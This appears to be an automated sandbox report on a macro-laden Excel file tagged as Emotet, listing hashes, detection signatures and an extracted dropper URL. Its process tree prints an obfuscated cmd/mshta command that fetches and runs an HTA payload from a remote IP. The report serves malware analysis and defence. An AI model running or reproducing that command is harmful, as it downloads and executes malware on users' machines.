Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    18-01-2022 21:49

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General

  • Target

    a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm

  • Size

    112KB

  • MD5

    2f00a54638c5af4aa67c03f1d7ec12d0

  • SHA1

    23994a8656707b655417077ca79294dd5a82cf36

  • SHA256

    a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12

  • SHA512

    c50ae050b50fb210c640cdd014a211f1eae5b35ba25d2728f9bb6e726ca81b459e0d593a75bf7e20d5717c008d3b004da83f63a59e0ce1cdad4a826c59070220

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2120
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\system32\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        PID:3176

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2120-115-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2120-116-0x00007FFE1F5B0000-0x00007FFE1F5C0000-memory.dmp

    Filesize

    64KB

    Download